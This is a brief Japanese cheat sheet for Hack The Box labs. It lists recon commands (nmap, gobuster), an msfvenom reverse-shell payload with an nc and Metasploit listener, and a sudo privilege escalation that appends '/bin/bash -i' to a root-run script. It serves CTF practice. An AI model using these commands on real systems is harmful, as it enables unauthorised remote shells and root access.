HTB CheatSheet
Enumeration
Section titled “Enumeration”ポートの特定を行う。
nmap -sC -sV -oN nmap/initial $IPGobuster
Section titled “Gobuster”Webサーバが公開しているファイルやディレクトリの特定を行う。
gobuster dir -u http://${IP} -w /usr/share/wordlists/dirb/common.txt
gobuster dir -u http://${IP} -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x txt -kFoothold
Section titled “Foothold”Create Payload
Section titled “Create Payload”ペイロードを作成する。
msfvenom -p linux/x64/shell_reverse_tcp LHOST=172.0.0.1 LPORT=4444 -f elf -o shell.elfReverse Shell
Section titled “Reverse Shell”作成したペイロードを実行し、リバースシェルを確立する。
nc -lvnp 4444
msfconsoleuse exploit/multi/handlerset payload linux/x64/shell_reverse_tcprun (exploit)Privilege Escalation
Section titled “Privilege Escalation”sudo権限の確認を行う。
sudo -l上のコマンドで、(root) NOPASSWD: /home/nibbler/personal/stuff/monitor.sh という結果が得られた場合、monitor.shを編集することで、root権限でコマンドを実行できる。
echo "/bin/bash -i" >> /home/nibbler/personal/stuff/monitor.shsudo ./monitor.sh